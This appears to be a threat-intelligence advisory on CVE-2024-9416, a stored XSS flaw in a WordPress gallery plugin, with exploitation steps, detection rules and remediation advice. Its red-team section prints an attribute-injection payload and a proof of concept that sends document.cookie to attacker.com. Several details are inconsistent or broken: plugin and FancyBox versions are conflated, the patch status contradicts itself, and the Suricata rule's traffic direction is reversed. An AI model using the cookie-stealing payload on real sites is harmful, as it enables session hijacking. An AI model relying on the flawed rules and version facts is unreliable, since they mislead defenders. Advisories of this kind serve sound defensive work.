CVE-2024-9416

Executive Summary

CVE-2024-9416 is a Stored Cross-Site Scripting (XSS) vulnerability in the Modula Image Gallery plugin for WordPress. The flaw resides in the plugin's bundled FancyBox JavaScript library (versions <= 5.0.36) due to insufficient input sanitization and output escaping on user-supplied attributes. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute when any user accesses a compromised page. This vulnerability is part of the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The CVSS score is 6.4 (Medium), and no public exploit code or patch details are currently available.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Modula Image Gallery plugin is distributed via the WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are sourced from the official WordPress repository. No third-party package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact may extend to other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authenticated access with contributor-level privileges, but the stored XSS can lead to session hijacking, defacement, or phishing within the WordPress context.

Deep Dive & Mechanics

The vulnerability exists in the FancyBox JavaScript library bundled with the Modula Image Gallery plugin. The plugin fails to properly sanitize user-supplied attributes (e.g., data-fancybox, data-caption, or custom attributes) before outputting them in the HTML. When a contributor or higher-level user creates or edits a gallery, they can inject malicious JavaScript code into these attributes. The FancyBox library then processes these attributes without escaping, leading to stored XSS.

Root Cause: Insufficient input sanitization and output escaping on user-supplied attributes passed to the FancyBox library.

Attack Flow:

1. Attacker logs in with contributor-level access.
2. Attacker creates or edits a gallery, injecting a payload like " onmouseover="alert(1)" into a vulnerable attribute.
3. The payload is stored in the WordPress database.
4. When an administrator or visitor views the gallery page, the FancyBox library processes the attribute, executing the injected script.

Vulnerable vs. Patched Code

Vulnerable Code (FancyBox <= 5.0.36):

// Example of vulnerable attribute handling
$(element).attr('data-caption', userInput);
// No sanitization or escaping

Patched Code (Hypothetical):

// Properly escape user input
$(element).attr('data-caption', $('<div>').text(userInput).html());
// Or use DOMPurify for sanitization

Note: No official patch has been released as of this analysis. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Modula Image Gallery plugin <= 5.0.36
• Contributor-level account

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to Modula Gallery → Add New.
3. In the gallery settings, inject a payload into a vulnerable field (e.g., "Caption" or "Custom CSS Class"):

   " onmouseover="alert(document.cookie)"
   

4. Save the gallery and publish the page.
5. When an administrator or visitor hovers over the gallery element, the script executes.

Proof-of-Concept (PoC) Payload:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual gallery creation or modification by contributor-level users.
• Look for suspicious attributes in gallery shortcodes or database entries.

Prevention:

• Restrict contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in gallery attributes.
• Use a content security policy (CSP) to mitigate script execution.

Indicators of Compromise (IOCs)

• File Indicators:

  • Modified gallery entries in the WordPress database (wp_posts or wp_postmeta tables) containing XSS payloads.
  • Suspicious JavaScript code in the wp-content/uploads/modula/ directory.

• Network Indicators:

  • Outbound requests to attacker-controlled domains from the WordPress server.
  • HTTP requests containing XSS payloads in gallery-related parameters.

• Log Indicators:

  • WordPress audit logs showing gallery creation/modification by contributor users.
  • Web server logs with unusual data-* attributes in gallery shortcodes.

Detection Engineering

YARA Rule

rule CVE_2024_9416_Modula_XSS {
    meta:
        description = "Detects stored XSS payloads in Modula Image Gallery plugin"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-9416"
    strings:
        $xss_payload1 = /on\w+\s*=\s*['\"].*?script.*?['\"]/ nocase
        $xss_payload2 = /<script[\s>]/ nocase
        $xss_payload3 = /javascript\s*:/ nocase
        $modula_attr = /data-(fancybox|caption|options)\s*=\s*['\"].*?['\"]/ nocase
    condition:
        any of ($xss_payload*) and $modula_attr
}

Sigma Rule

title: CVE-2024-9416 Modula Image Gallery Stored XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts via Modula Image Gallery plugin
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9416
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'modula_gallery'
            - 'modula-ajax'
        cs-uri-query|re:
            - 'on\w+='
            - '<script'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in gallery attributes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-9416 Modula Image Gallery Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"modula_gallery"; http_uri; pcre:"/(on\w+=|<script|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Modula Image Gallery plugin until a patch is available.
2. Restrict contributor-level access to only trusted users.
3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in gallery attributes.

Long-Term Fix:

• Apply the official patch when released by the vendor.
• Upgrade to a patched version of the FancyBox library (>= 5.0.37).
• Implement input sanitization and output escaping for all user-supplied attributes.

Workaround:

• Use a different image gallery plugin that is not vulnerable.
• Manually sanitize gallery attributes via a custom WordPress filter.

Valters IT
DevSecOps & Cyber Threat Intelligence